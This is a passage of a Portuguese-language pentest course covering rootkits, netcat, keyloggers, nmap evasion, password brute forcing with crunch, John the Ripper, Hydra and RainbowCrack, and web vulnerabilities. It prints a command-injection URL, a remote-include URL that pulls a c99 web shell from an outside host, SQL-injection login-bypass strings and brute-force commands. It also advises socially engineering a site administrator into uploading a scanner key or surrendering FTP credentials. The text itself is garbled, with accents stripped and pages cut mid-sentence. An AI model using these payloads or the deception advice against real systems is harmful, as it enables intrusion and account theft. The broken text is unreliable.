Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 121 Kernel-land Adiciona cdigo malicioso no kernel atravs de LKM (Loadable Kernel Module), drivers, insero de cdigo direto na memria, hook de syscall table; Se bem implementado, praticamente impossvel de ser detectado com o SO em execuo, precisando fazer anlise da imagem. Algumas das funcionalidades do Kernel-land rootkit: Hide Itself: O mdulo se oculta, no aparecendo na listagem de mdulos, tornando assim impossvel de descarreg-lo; File Hider: Todos os arquivos que possuir uma pr-determinada palavra em seu nome sero ocultos da visualizao; Process Hider: Todos os processos que possuir uma pr-determinada palavra em seu nome sero ocultos da visualizao; Socket Backdoor: Se um pacote com um tamanho predefinido contendo uma string especificada no rootkit for recebido, ser iniciar um programa, normalmente uma backdoor.
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 122 Tanto os vrus quanto os cavalos de tria no conseguem infectar um computador externo sem a ajuda de uma pessoa. O worm ou verme um programa que pode infectar tanto uma mquina local quando uma mquina externa. Normalmente, os worms exploram falhas de segurana em outros programas para se propagarem, como o caso do worm BLASTER, que ficou mundialmente conhecido aps infectar milhares de computadores e poucas horas. Esse worm explorava um problema de programao em um servio conhecido por rpc-dcom, que vem ativado por padro nos sistemas operacionais Windows 2000 e Windows XP. Porm, nem todos os Worms so destrutivos. Alguns worms j foram lanados para limpar computadores de pessoas que estavam infectadas por outros worms nocivos.
10.6. Netcat
Netcat uma ferramenta usada para ler e escrever dados em conexes de rede usando o protocolo TCP/IP. Dada sua grande versatilidade, o Netcat considerado pelos hackers o canivete suo do TCP/IP, podendo ser usado para fazer desde portscans at brute force attacks. O nome netcat vem do comando "cat" do Linux/Unix. O cat concatena arquivos e envia para a sada padro (stdout). O netcat faz praticamente o mesmo, porm ao invs de concatenar arquivos, o netcat concatena sockets TCP e UDP. Possui inmeras funes, dentre as quais: Varredura de portas; Banner grabbing; Criao de backdoor; Tunelamento e etc. Alm de facilitar a vida do administrador de rede, tambm facilita a vida de um invasor, portanto, cuidado! Mate seu processo e remova o binrio sempre aps a
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 123 utilizao, caso no queira tornar-se a vtima.
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 124 -v - Controla o nvel de mensagens mostradas na tela; -w - Limita o tempo mximo para que uma conexo seja estabelecida; -z - Para evitar o envio de dados atravs de uma conexo TCP, e limitar os dados de uma conexo UDP.
Captulo 10 Trojans, Backdoors, Vrus, Rootkits e Worms - 125 O Netcat em modo de escuta no host2, ao receber uma conexo cria um "novo netcat" para falar com o host3 e conecta a entrada e sada do programa em execuo no host1 e host3 encadeando-os. Esse mesmo "macete" pode ser utilizado em um host local tambm. O exemplo a seguir direciona a porta 8080 para o servidor web exemplo.org.br: # nc -l localhost 8080 --sh-exec "ncat exemplo.org.br 80
10.7. Keylogger
Keylogger so programas utilizados para gravar tudo aquilo que o usurio digita no teclado. Alguns, mais avanados, armazenam screenshots da tela ou at mesmo a rea ao redor do ponteiro do mouse onde ocorre um click. Exemplos de Keyloggers: Ardamax Windows Pykeylogger Linux - http://sourceforge.net/projects/pykeylogger/files/
Alm dos keyloggers lgicos, temos os keyloggers fsicos, que podem ser comprados em lojas virtuais por poucos dlares.
Esses keyloggers fsicos se parecem com adaptadores de teclados PS2/USB, sendo instalados entre o cabo do teclado e a entrada PS2 da CPU, s que eles armazenam dentro de uma memria flash tudo o que digitado no teclado grampeado. Obviamente, que a instalao de um dispositivo desses, seja lgico ou fsico, necessita do uso de recursos de engenharia social para que o mesmo seja instalado na mquina do alvo. E no caso do keylogger fsico, o atacante precisa ter acesso fsico mquina, tanto para instalar, quanto para pegar de volta o dispositivo.
10.9. Contramedidas
Monitorar constantemente os servios executados na mquina e as portas abertas. Realizar varreduras constantes utilizando ferramentas especficas, como o Unhide, chkrootkit e o Security Auditor's Research Assistant (SARA), por exemplo. Evitar realizar a maioria das tarefas como root, j que para a infeco e alastramento, a maioria dos malwares precisam de privilgios de root.
11.1. Objetivos
Conhecer os mecanismos de evaso de firewall Conhecer as tcnicas de evaso de IDS/IPS Entender as tcnicas de anti-forense
-f => fragmenta pacotes, incluindo pacotes IP. A idia dividir os cabealhos TCP em vrios pacotes, dificultando a deteco por filtros de pacotes, IDS e etc.
-D <decoy1>[,<decoy2>][,ME][,...] => realiza uma varredura utilizando iscas. Faz parecer que vrios hosts da rede, juntamente com seu IP, esto varrendo o alvo. Desse modo, o IDS pode reportar 5-10 varreduras em um nico IP, mas no saber definir quais so iscas inocentes e qual IP est realmente realizando a varredura. -S <IP_Address> => realiza um IP spoofing, fazendo com que um IDS report uma varredura sendo realizada a partir de um outro IP, que no o seu, mas que definido por voc. --source-port <portnumber> => realiza um port spoofing, permitindo que seja definido no pacote de qual porta ele teoricamente foi enviado. Essa tcnica explora as portas abertas no alvo para realizar varreduras que o firewall permitir por conta de suas regras. As portas mais utilizadas so DNS (53) e FTP (21). --randomize-hosts => ordena de forma aleatria os hosts alvos de uma varredura. Isso pode tornar a varredura menos bvia para sistemas de
Captulo 11 Ignorando Protees - 130 monitoramento de rede, especialmente se combinado com opes de "slow timing". --spoof-mac <MAC address> => faz um MAC spoofing, atribuindo um endereo MAC, definido pelo atacante, para todos os frames ethernet enviados.
11.3.1. Caractersticas:
firewall testing IDS testing Simulao de conexes reais TCP para inspecionar firewalls e IDS. Fragmentao de IP / Fragmentao de TCP Tcnicas de evaso de IDS Download - http://dev.inversepath.com/ftester Documentao - http://dev.inversepath.com/ftester/ftester.html
11.3.2. Utilizao:
# ./ftest # ./ftestd
11.3.3. Sintaxe:
Para pacotes TCP e UDP: IP_origem:porta_origem:IP_destino:porta_destino:Flags:Protocolo:Tipo_servio Para pacotes ICMP: IP_origem:porta_origem:IP_destino:porta_destino:Flags:ICMP:tipo_icmp:cdig o_icmp Exemplo: 192.168.0.1:1-1024:10.7.0.1:20-25:S:TCP:22
profissionais para realizar um pentest, possui um honeypot em sua rede. Mas ainda assim existe essa possibilidade... Existem vrios tipos de honeypots, mas podemos dividi-los, basicamente, em dois grandes grupos: Honeypot de baixa interatividade Honeypot de alta interatividade O honeypots de baixa interatividade so facilmente detectveis, bastando utilizar boas ferramentas de varredura, descoberta de vulnerabilidades e explorao, pois por sua limitao de respostas e interao com o atacante, pelas respostas transmitidas ao atacante, esse ltimo conseguir perceber que o alvo no uma mquina real. J com os honeypots de alta interatividade, a coisa muda de figura, pois suas
Captulo 11 Ignorando Protees - 132 respostas so mais consistentes e o comportamento bem prximo de um servidor real, caso esteja bem configurado. Com os HP de alta interatividade, apenas a experincia e o conhecimento dessas armadilhas podem permitir ao pen-tester descobrir e detectar essas armadilhas para invasores. No entanto, no aconselho perder muito tempo tentando detectar honeypots e definir se um servidor que est tentando explorar um HP ou no. Deixe que isso seja consequncia de seu trabalho, e no o objetivo principal. Trs timas ferramentas que podem ser utilizadas na deteco de honeypots so: Nmap Nessus OpenVAS
11.6. Contramedidas
Manter regras de firewall e IDS muito bem configuradas Manter a ateno constante em logs de equipamentos que so responsveis pela proteo da rede No confiar em apenas um firewall ou IDS, compartimentalizando a rede
12.1. Objetivos
Conhecer os mecanismos de gerao de wordlist Conhecer ferramentas de bruteforce Entender o que boa poltica de senhas
12.3. Wordlist
Uma boa wordlist fundamental para o sucesso de um ataque de brute force. possvel comprar wordlists, fazer download ou at mesmo gerar listas de palavras que sero usadas pelas ferramentas de brute force.
Captulo 12 Tcnicas de Fora Bruta - 135 http://rapidshare.com/files/100861231/28GBwordlist.rar P2P: eMule Kazaa Torrent
Onde: 5 tamanho mnimo da palavra 8 tamanho mximo da palavra 12345678 Caracteres que sero usados para a gerao da lista Temos mais algumas opes a definir com esta ferramenta, mas desta vez vamos tentar criar combinaes mais prximas do mundo real onde muitas vezes, ou por falta de criatividade ou medo de esquecer a senha as pessoas acabam associando ao prprio nome uma data, casamento, namoro, nascimento, aniversrio do papagaio, etc. Vamos ver como poderamos adivinhar a senha o Jnior.
Captulo 12 Tcnicas de Fora Bruta - 136 # crunch 10 10 1234567890 -t junior@@@@ > /tmp/juniorlist
Onde: 10 tamanho mnimo da palavra 10 tamanho mximo da palavra 1234567890 Caracteres que sero usados para a gerao da lista Vamos fazer uso de outra ferramenta para gerar wordlists, no caso, a ferramenta wyd. A diferena dessa ferramenta para o crunch que essa utiliza uma maneira mais inteligente de gerar as combinaes. Vamos gerar a wordlist com baseado em um arquivo HTML de um site qualquer que fizemos download:
O wyd consegue gerar combinaes a partir de arquivos em texto puro, html, php, doc, ppt, pdf, odt, ods e odp.
Captulo 12 Tcnicas de Fora Bruta - 137 Unix ou john.ini no Windows, por exemplo. Neste arquivo voc consegue definir regras para a descoberta de senhas, wordlists, parmetros para os modos e at definir um novo modo de descoberta de senhas. Este arquivo dividido em vrias sees. Todas as sees comeam com uma linha com seu nome entre colchetes ( [ ] ). As opes destas sees so definidas em variveis de modo bem simples, como em: varivel = valor Os nomes de sees e variveis so case-insensitive, ou seja, SECAO1 e secao1 so a mesma seo e VAR1 e var1 so a mesma varivel. Os caracteres # e ; so completamente ignorados, assim como linhas em branco. Abaixo esto as explicaes das opes dividas por seo: Options: Wordlist: A wordlist a ser utilizada pelo JtR. O arquivo pode estar em qualquer lugar, basta especificar o caminho correto nessa varivel; Idle: Configura o John para usar seu CPU quando este estiver inativo. Diminui o desempenho da quebra da senha, porm no impacta tanto no desempenho (desabilitado); Save: Intervalo no qual o software ir gravar seu progresso para no caso de uma interrupo ele possa recomear novamente de onde havia parado; Beep: Emite um bip quando uma senha quebrada. de outros programas. O padro desta opo N
List.Rules:Single Nesta seo ficam as regras default do software para a quebra das senhas. So regras como substituio de strings, escrita 1337 e outras. List.Rules:Wordlist
Captulo 12 Tcnicas de Fora Bruta - 138 Nesta seo ficam as regras de substituio de caracteres, modificaes de palavras, etc quando se est usando uma wordlist para tentar quebrar as senhas do arquivo. List.Rules:NT Nesta seo ficam as regras utilizadas quando se est quebrando senhas cifradas utilizando o algoritmo NTLM (Windows). Incremental* Aqui ficam as regras para o tipo de quebra de senhas chamado Incremental (todos os "tipos" de tentativas de quebra de senha que o John utiliza sero explicados mais adiante neste documento). List.External:* So alguns filtros pr-definidos para substituio de palavras, eliminao de caracteres indesejados, etc.
12.5.1. MODOS
JtR utiliza alguns modos para que consiga otimizar a quebra da senha. Estes modos so explicados a seguir: Modo Wordlist Para utilizar esse mtodo voc vai precisar de uma wordlist. Existem vrios lugares na Internet que possuem milhares de wordlists disponveis gratuitamente, s dar uma olhada no Google que voc ir encontrar vrias. Para te ajudar, aqui no item "Wordlists" voc encontra vrios links para wordlists disponveis na Internet. L voc tambm encontra algumas dicas de como organizar a sua lista. Mas vale lembrar que no bom que voc tenha entradas duplicadas na sua lista, o Jhon the Ripper no vai fazer absolutamente nada com a sua wordlist antes de comear a testar as palavras que tem nela. Este o modo mais simples suportado pelo John. Para utiliz-lo voc s especifica uma wordlist e algumas regras para ele fazer combinaes das palavras que ele encontrar na lista que voc especificou. Quando utilizando determinados
Captulo 12 Tcnicas de Fora Bruta - 139 algoritmos, o JtR se beneficiar se voc colocar senhas com tamanhos mais ou menos parecidos perto umas das outras. Por exemplo, seria interessante voc colocar as senhas com 8, 6 ou 9 caracteres perto umas das outras na sua wordlist. A wordlist padro a ser utilizada pelo John definida no arquivo john.conf.
Modo Single Crack neste modo que voc deveria comear a tentar quebrar uma senha. Aqui, alm de vrias regras de handling serem aplicadas, o JtR vai utilizar mais informaes como o nome completo do usurio e seu diretrio home para tentar descobrir qual a senha. Este modo muito mais rpido que o modo "Wordlist".
Modo Incremental Este o modo mais poderoso do JtR. Nele sero tentadas todas as combinaes possveis de caracteres para tentar quebrar a senha cifrada. Dada a grande quantidade de combinaes possveis, recomendvel que se defina alguns parmetros (como tamanho da senha ou conjunto de caracteres a serem utilizados) para que voc no fique esperando pela senha ser quebrada por muito tempo. Todos os parmetros para este modo so definidos no arquivo john.conf, nas sees comeadas com Incremental no nome.
Modo External Esse modo bastante complexo. Nele voc pode definir regras prprias para o John seguir ao tentar quebrar uma senha. Tais regras so definidas em uma linguagem parecida com a C no arquivo de configurao do programa. Ao ser especificado este modo ao tentar quebrar uma senha na linha de comando, o JtR vai pr-processar as funes que voc escreveu para este modo e utiliz-las. A documentao de uso desse modo pode ser obtida em: http://www.openwall.com/john/doc/EXTERNAL.shtml
Captulo 12 Tcnicas de Fora Bruta - 141 junto com esta opo. A sesso fica gravada na home do John, em um arquivo chamado john.rec. --session=NOME: Define o nome da sesso que pode ser utilizado com a opo restore. A esse nome ser automaticamente adicionado a extenso .rec. --status[=NOME]: Mostra o status da ltima sesso ou, se definido o nome da sesso, da sesso especificada. --make-charset=ARQ: Gera um arquivo charset para ser utilizado no modo "incremental". --show: Mostra as senhas do arquivo que voc especificou para o JtR que j foram quebradas. Esta opo especialmente til quando voc tem outra instncia do JtR rodando. --test: Esta opo faz um benchmark de todos os algoritmos compilados no software e os testa para saber se esto funcionando corretamente. Esta opo j foi explicada anteriormente. --users=[-]Nome do usurio ou UID: Com esta opo voc pode especificar para o JtR quais usurio voc quer tentar quebrar a senha. Voc pode utilizar o nome de usurio ou o UID dele e pode separar vrios usurios utilizando uma vrgula. Utilizando o "-" antes do nome do usurio, voc faz com que o John ignore aquele usurio ou UID. --groups=[-]GID: Faz com que o John tente quebrar apenas as senhas dos usurios participantes de um grupo especificado (ou ignor-los, se voc utilizar o "-"). --shells=[-]SHELL: Apenas tenta quebrar as senhas dos usurios cujas shells sejam iguais que foi especificada por voc na linha de comando. Utilizando o "-" voc ignora as shells especificadas. --salts=[-]NUMERO: Deixa voc especificar o tamanho das senhas que sero (ou no) testadas. Aumenta um pouco a performance para quebrar algumas senhas, porm o tempo total utilizando esta opo acaba sendo o mesmo.
Captulo 12 Tcnicas de Fora Bruta - 142 --format=FORMATO: Permite a voc definir o algoritmo a ser usado para quebrar a senha, ignorando a deteco automtica do software. Os formatos suportados atualmente so DES, BSDI, MD5, AFS e LM. Voc tambm pode utilizar esta opo quando estiver utilizando o comando --test, como j foi explicado anteriormente neste texto. --save-memory=1, 2 ou 3: Esta opo define alguns nveis para dizer ao John com qual nvel de otimizao ele ir utilizar a memria. Os nveis variam de 1 a 3, sendo 1 a mnima otimizao. Esta opo faz com que o JtR no afete muito os outros programas utilizando muita memria.
./john password Loaded 5 passwords with 5 different salts (FreeBSD MD5 [32/32]) x (x) x (teste) abc (teste1) 12345 (sb)
Tambm podemos passar na sintaxe um parmetro para que o John pegue a lista de palavras de outro arquivo (por exemplo, as wordlists que geramos anteriormente):
Captulo 12 Tcnicas de Fora Bruta - 143 # ./john -wordfile:/tmp/juniorlist password O John gera dois arquivos de log: o john.pote o restore. No primeiro arquivo esto as senhas j decifradas, para que em uma nova execuo ele no comece tudo do zero. J o arquivo restore ir conter informaes sobre o estado de execuo do John para continuar executando uma sesso interrompida (por exemplo, quando teclamos CTRL+C durante a execuo). Se voc quiser retomar a execuo do ponto onde parou, basta executar: # ./john -restore Tambm podemos exibir as senhas j descobertas pelo programa usando a opo show: # ./john -show arquivo_passwd
importante ressaltar que o John The Ripper possui mdulos adicionais que no so compilados durante uma compilao padro. Esses mdulos podem ser encontrados no prprio site da ferramenta, atravs do endereo: http://www.openwall.com/john/. Os mdulos adicionais se encontram no final da pgina inicial. Como exemplo, podemos citar o mdulo para quebrar senhas de Lotus Domino e MySQL.
12.6. THC-Hydra
O hydra um dos utilitrios que abrangem uma grande quantidade de servios que podem ser alvos de brute force, entre eles: TELNET, FTP, Firebird, HTTP-GET, HTTP-HEAD, HTTPS-GET, HTTP-HEAD, HTTP-PROXY, HTTP-PROXYNTLM, HTTP-FORM-GET, HTTP-FORM-POST, HTTPS-FORM-GET, HTTPS-FORMPOSTLDAP2, LADP3, SMB, SMBNT, MS-SQL, MYSQL, POSTGRES, POP3 NTLM, IMAP, IMAP-NTLM, NCP, NNTP, PCNFS, ICQ, SAP/R3, Cisco auth, Cisco enable, SMTP-AUTH, SMTP-AUTH NTLM, SSH2, SNMP, CVS, Cisco AAA, REXEC, SOCKS5, VNC, POP3 e VMware-Auth. Alm disso, o hydra fornece suporte a conexes via
Captulo 12 Tcnicas de Fora Bruta - 144 proxy. O xhydra um utilitrio gtk para uso do hydra na interface grfica.
Para executar o programa na interface grfica, basta chamarmos o binrio, que j estar no path do sistema, e informar o path do seu cdigo fonte com o parmetro hydra-path: xhydra --hydra-path [caminho-completo]/hydra-5.8-src/
Exemplo do hydra sendo usado contra o servio FTP: # ./hydra -L /tmp/usuarios -P /tmp/pass -o /tmp/resultado -v 192.168.0.100 ftp [VERBOSE] More tasks defined than login/pass pairs exist. Tasks reduced to 15.
Captulo 12 Tcnicas de Fora Bruta - 145 Hydra v4.1 (c) 2004 by van Hauser / THC - use allowed only for legal purposes. Hydra (http://www.thc.org) starting at 2004-09-28 16:19:21 [DATA] 15 tasks, 1 servers, 15 login tries (l:5/p:3), ~1 tries per task [DATA] attacking service ftp on port 21 [VERBOSE] Resolving addresses ... done [STATUS] attack finished for 192.168.0.100 (waiting for childs to finish) [21][ftp] host: 192.168.0.100 login: x password: 123456 Hydra (http://www.thc.org) finished at 2004-09-28 16:19:29
Em /tmp/usuarios temos a userlist de ftp, em /tmp/pass temos a wordlist para os usurios e em /tmp/resultado o resultado do brute force no servio. Vejamos o contedo do arquivo de sada do brute force: # cat /tmp/resultado # Hydra v4.1 run at 2004-09-28 16:19:21 on 192.168.0.100 ftp (hydra -L /tmp/usuarios -P /tmp/pass -t 15 -v -o /tmp/resultado 192.168.0.100 ftp) [21][ftp] host: 192.168.0.100 login: x password: 123456 O THC-Hydra tambm pode ser usado para realizar ataques contra formulrios web. Para isso, podemos usar a opo http-post-form ou http-get-form, dependendo do mtodo usado para envio dos dados pelo formulrio web. Vamos analisar o comando seguinte: # hydra -l hydra -P password.lst -s 80 <IP> http-post-form
"/administrador/index.php:usuario=^USER^&senha=^PASS^&submit=Lo gin:Incorrect Username" O parmetro ^USER^ ser substitudo pelos usurios, no nosso caso, o valor passado para a opo l, no nosso caso o valor hydra, e o parmetro ^PASS^ ser substitudo pelos valores passados na opo P, no nosso caso, uma wordlist chamada password.lst.
No exemplo do nosso arquivo que se encontra na vmware de testes, acessvel atravs do endereo http://<ip_vm>/bf/, podemos usar o seguinte comando para realizarmos o ataque de bruteforce: root@bt:/tmp# hydra -l admin -P wl.txt -o resultado.txt 192.168.3.106 httpget-form "/bf/bf.php:usuario=^USER^&senha=^PASS^&submit=Enviar:incorreta"
12.7. BruteSSH2
O BruteSSH2 um script, que pode ser encontrado em C, Perl ou Python, que realiza ataques de fora bruta na porta 22 e utiliza wordlists para descobrir senhas. Para executar s entrar como root e digitar: # chmod 777 brutessh2.py # ./brutessh2.py
Captulo 12 Tcnicas de Fora Bruta - 147 Outro programa, que quebra inclusive hashs MD5, SHA1, SHA2 e etc, o Cain (que roda em Windows). Para baixar Rainbow Tables: http://rainbowtables.shmoo.com/ Para entender mais: http://www.ethicalhacker.net/content/view/94/24/
12.9. Utilizando o Rainbow Crack para criao de Rainbow Tables 12.9.1. Introduo
RainbowCrack uma ferramenta cujo objetivo quebrar hash de senhas. O mtodo utilizado pela ferramenta o brute force. Nesse mtodo, todas as senhas em texto plano e seus hashs correspondentes so computados um por um. O hash computado comparado com o hash alvo. Se um deles for igual, a senha em texto plano encontrada. Do contrrio, o processo continua at finalizar todas as senhas possveis. No mtodo time-memory, a tarefa de computar hashs feita atravs do armazenamento dos resultados no que chamamos de "rainbow table". Depois disso, os hashes podem ser acessados a partir das rainbow tables sempre que necessrio. O processo pr-computacional precisa de muito tempo para criar as chaves que sero posteriormente utilizadas. No entanto, uma vez que esse processo tenha terminado, a performance da rainbow tables pode ser de centenas a milhares de vezes maior do que o mtodo de brute force. Vamos ver passo a passo como utilizar o software RainbowCrack. Esse software inclui trs ferramentas que devem ser usadas em sequncia para fazer a coisa funcionar: Passo 1: usar o rtgen para gerar as rainbow tables.
Captulo 12 Tcnicas de Fora Bruta - 148 Passo 2: usar o rtsort para organizar as rainbow tables geradas pelo rtgen. Passo 3: usar o rcrack para buscar o contedo das rainbow tables organizadas pelo rtsort.
O processo de buscar o contedo no passo final, equivalente ao processo de quebra de hash. E todas essas ferramentas so utilizadas atravs da linha de comando.
significado
O algoritmo dos hashs (lm, ntlm, md5 e assim por diante) usado na rainbow table. A configurao dos caracteres (charset) do texto plano na rainbow tables. Todos os charsets possveis esto definidos no arquivo charset.txt. Estes dois parmetros definem o tamanho possvel de todo o texto plano na rainbow tables. Se o charset numrico, o plaintext_len_min 1, e o plaintext_len_max 5, ento a string "12345" ser includa na tabela, mas "123456" no. Estes quatro parmetros so mais difceis de explicar em poucas palavras. Ler e compreender o artigo original de Philippe Oechslin (criador do RainbowCrack), pode ajudar a entender o significado exato. O table_index est relacionado ao "reduce function" que utilizado na rainbow table. O chain_len o tamanho de cada "rainbow chain" na rainbow table. Uma "rainbow chain"
plaintext_len_min plaintext_len_max
Os valores corretos de todos os parmetros dependem do que vocs precisa, e selecionar bons parmetros requer um bom entendimento do algoritmo de timememory tradeoff. Uma configurao que funciona est logo abaixo, como um exemplo:
hash_algorithm charset lm, ntlm or md5 alpha-numeric = [ABCDEFGHIJKLMNOPQRSTUVWXYZ012345678 9] ou loweralpha-numeric = [abcdefghijklmnopqrstuvwxyz0123456789] 1 7 3800 33554432 36^1 + 36^2 + 36^3 + 36^4 + 36^5 + 36^6 + 36^7 = 80603140212 Key space o nmero de possveis strings em texto plano para o charset, plaintext_len_min e plaintext_len_max selecionados. 3 GB 0.999 O algoritmo de time-memory tradeoff um algoritmos probabilstico. Qualquer que seja os parmetros selecionados, h sempre probabilidade de que as strings dentro do charset selecionado e o tamanho das strings no seja completamente coberto. A taxa de sucesso de 99.9% com os parmetros usados nesse evento. Os comandos do rtgen usados para gerar as rainbow tables so:
rtgen rtgen rtgen rtgen rtgen rtgen md5 md5 md5 md5 md5 md5 loweralpha-numeric loweralpha-numeric loweralpha-numeric loweralpha-numeric loweralpha-numeric loweralpha-numeric 1 1 1 1 1 1 7 7 7 7 7 7 0 1 2 3 4 5 3800 3800 3800 3800 3800 3800 33554432 33554432 33554432 33554432 33554432 33554432 0 0 0 0 0 0
Se precisar criar uma tabela de hashes ntlm ou lm, substitua o "md5" nos comandos acima por "ntlm" ou "lm". Se precisar de uma tabela com o charset alphanumeric, substitua o "loweralpha-numeric" nos
Agora hora de criar uma rainbow table. Altere o diretrio corrente em seu terminal de comando para o diretrio do RainbowCrack, e execute o comando seguinte: # cd /pentest/passwords/rcrack # rtgen md5 loweralpha-numeric 1 7 0 3800 33554432 0
Esse comando leva 4 horas para ser completado em um computador com um processador Core2 Duo E7300. possvel parar a execuo do mesmo a qualquer momento pressionando Ctrl+C. Da prxima vez que o comando for executado com a mesma linha de comando, ele continuar a partir do ponto em que foi interrompido para continuar com a gerao da tabela. Quando o comando tiver terminado, um arquivo com o nome de
"md5_loweralpha-numeric#1-7_0_3800x33554432_0.rt" e tamanho de 512 MB ser criado. O nome do mesmo simplesmente a linha de comando utilizada com os parmetros interligados, com a extenso "rt". O programa rcrack que ser explicado mais a frente, precisa dessas informaes para saber quais os parmetros existentes na rainbow table. Portanto, no renomeie o arquivo. As demais tabelas podem ser geradas da mesma forma, com os comandos: # rtgen md5 loweralpha-numeric 1 7 1 3800 33554432 0 # rtgen md5 loweralpha-numeric 1 7 2 3800 33554432 0 # rtgen md5 loweralpha-numeric 1 7 3 3800 33554432 0 # rtgen md5 loweralpha-numeric 1 7 4 3800 33554432 0 # rtgen md5 loweralpha-numeric 1 7 5 3800 33554432 0
Captulo 12 Tcnicas de Fora Bruta - 151 md5_loweralpha-numeric#1-7_0_3800x33554432_0.rt md5_loweralpha-numeric#1-7_1_3800x33554432_0.rt md5_loweralpha-numeric#1-7_2_3800x33554432_0.rt md5_loweralpha-numeric#1-7_3_3800x33554432_0.rt md5_loweralpha-numeric#1-7_4_3800x33554432_0.rt md5_loweralpha-numeric#1-7_5_3800x33554432_0.rt 512MB 512MB 512MB 512MB 512MB 512MB
Cada comando acima, leva cerca de 1 a 2 minutos para completarem sua execuo. O programa rtsort gravar a rainbow table organizada por sobre o arquivo orginal. No interrompa a execuo do comando, do contrrio o arquivo original ser danificado. Agora o processo de organizao das rainbow tables est completo.
12.9.4. Passo 3: usar o rcrack para buscar o contedo das rainbow tables
O programa rcrack utilizado para acessar as rainbow tables. Ele aceita apenas rainbow tables organizadas. Assumindo que as rainbow tables organizadas estejam no mesmo diretrio do programa, para quebrar hashes nicos a linha de comando ser: # rcrack *.rt -h aqui_vai_o_hash_para_ser_quebrado
O primeiro parmetro especifica o caminho para buscar nos arquivos das rainbow tables. Os caracteres "*" e "?" podem ser usados para especificar vrios arquivos. Normalmente isso leva algumas dezenas segundos para finalizar, se a string existir dentro do "range" do charset e tamanho de strings selecionados. Do contrrio, leva-se muito mais tempo para buscar por todas as tabelas, apenas para no encontrar nada. Para quebrar mltiplos hashs, coloque todos os hashs em um arquivo de texto, com um hash por linha. E ento especifique o nome do arquivo na linha de comando do programa rcrack: # rcrack *.rt -l arquivo_com_lista_de_hashes
Se as rainbow tables que gerou usam o algoritmo lm, o programa rcrack possui um suporte especial para o parmetro "-f". Um arquivo de dump de hash no formato pwdump necessrio como input para o programa rcrack. O contedo do arquivo parecer com o seguinte:
Administrator:500:1c3a2b6d939a1021aad3b435b51404ee:e24106942bf38bcf57a6a4b29016eff6::: Guest:501:a296c9e4267e9ba9aad3b435b51404ee:9d978dda95e5185bbeda9b3ae00f84b4:::
O arquivo pwdump a sada de utilitrios tais como pwdump2, pwdump3 ou outros. E contm os hashes tanto lm quant ntlm.
Captulo 12 Tcnicas de Fora Bruta - 153 Para quebrar hashes lm em arquivos pwdump, use o seguinte comando: # rcrack *.rt -f arquivo_pwdump
O algoritmo de hash lm converte todas as letras minsculas em strings maisculas; como resultado disso, todas as strings quebradas atravs do hashe lm, nunca contm letras minscula, enquanto que a string original poed conter letras minsculas. O programa rcrack tentar corrigir isso em hashes ntlm armazenados no mesmo arquivo e exibir a string original.
Captulo 12 Tcnicas de Fora Bruta - 154 senhas de NT em /etc/smbpasswd; Para sistemas NT, devero estar em /winn/repair/Sam
12.12. Contramedidas
Uma boa poltica de senhas, de forma a garantir que: Senhas so trocadas periodicamente A senha deve ter no mnimo 8 caracteres A senha deve ser complexa, com caracteres especiais, letras e nmeros A mesma senha no pode ser usada dentro de um perodo mnimo
13.1. Objetivos
Entender o funcionamento das aplicaes web Aprender a explorar as principais classes de vulnerabilidades em aplicaes web existentes na atualidade.
Captulo 13 Vulnerabilidades em aplicaes web - 157 existente no servidor onde a aplicao est hospedada. Na maioria das vezes, vrias aplicaes WEB ficam hospedadas em um mesmo servidor, compartilhando da mesma mquina fsica. Se uma, dessas vrias aplicaes hospedadas no servidor, tiver falhas graves, que permitam acesso mquina, todas as outras sero comprometidas e o atacante tambm poder explorar as demais mquinas acessveis na rede. Um ferramenta simples, online, que ao varrer as vulnerabilidades de um site, informa todos os domnios hospedados no mesmo servidor, o ZeroDayScan, hospedado em http://www.zerodayscan.com/ Aps acessar o site, basta informar o endereo do site a ser analisado, seu email, onde receber o relatrio aps dois ou trs dias, e a chave que deve ser gravada em um arquivo com o nome zerodayscan.txt e hospedado na pasta principal do site que ser analisado.
Essa ltima parte pode ser um pouco mais complicada de conseguir. No entanto, utilizando da engenharia social possvel conseguir que o administrador do site faa o upload do arquivo para o site, ou at mesmo lhe passe os dados para fazer o login do ftp do servidor onde o site alvo est hospedado.
vulnerabilidades WEB atualizado anualmente, seguem abaixo as vulnerabilidades mais exploradas em aplicaes WEB: Command Injection SQL Injection Cross Site Scripting (XSS) CSRF Insecure Direct Object Reference Falha de Autenticao e gerenciamento de sesso Falhas em configurao de segurana Insecure Cryptographic Storage Failure to Restrict URL Access Insufficient Transport Layer Protection Unvalidated Redirects and Forwards
Captulo 13 Vulnerabilidades em aplicaes web - 159 http://www.hostvuln.com/meuscript.cgi?file=;id;uname%20-a No exemplo acima, o atacante est executando os comandos id e uname a no servidor vulnervel.
A partir de um site vulnervel, podemos chamar a shell que est hospedada em um site e simplesmente comear a operar dentro do site como se tivssemos na linha de comando. Como por exemplo: http://www.sitevitima.com/menu.php?page=http://corz.org/corz/c99.php
Captulo 13 Vulnerabilidades em aplicaes web - 160 podem estar vulnerveis. Vamos analisar o trecho de cdigo abaixo. Select * from usuarios where username = + username + and password = + password ; Como ficaria a chamada no banco de dados se envissemos no username e password o contedo: or 1=1 ? Reposta: Select * from usuarios where username = or 1=1 and password = or 1=1; Onde: ' - Fecha a variavel de entrada do usuario OR - Continua a expresso SQL 1=1 - Uma expresso verdadeira Como 1 sempre igual a 1, teremos uma verdade e passaremos pela checagem. Esse um tipo de dados que poderamos passar para aplicativos vulnerveis e burlar o sistema de autenticao. Faremos isso na prtica com o WebGoat. Exemplos de SQL Injection : ' or '1 ' or '1'='1 ' or 1=1'or''=' ' or 'a'='a ') or ('a'='a 'or '=1
Captulo 13 Vulnerabilidades em aplicaes web - 162 navegador web do cliente. Tambm existem outras possibilidades: Inserir um comentrio em um blog, por exemplo, utilizando as tags citadas anteriormente. Caso a aplicao, quando pegar esses dados da base de dados no filtre os caracteres < e > antes de exibir o seu comentrio para outros usurios, ser possvel explorar um XSS nessa aplicao, afetando assim todos os usurios de tal blog. Apesar de no ser uma falha to crtica, j que no executamos comandos no sistema, XSS tambm amplamente usado para Phishing, na tentativa de dar mais valor a informao fraudulenta que foi enviada para o alvo.
13.4.5. CSRF
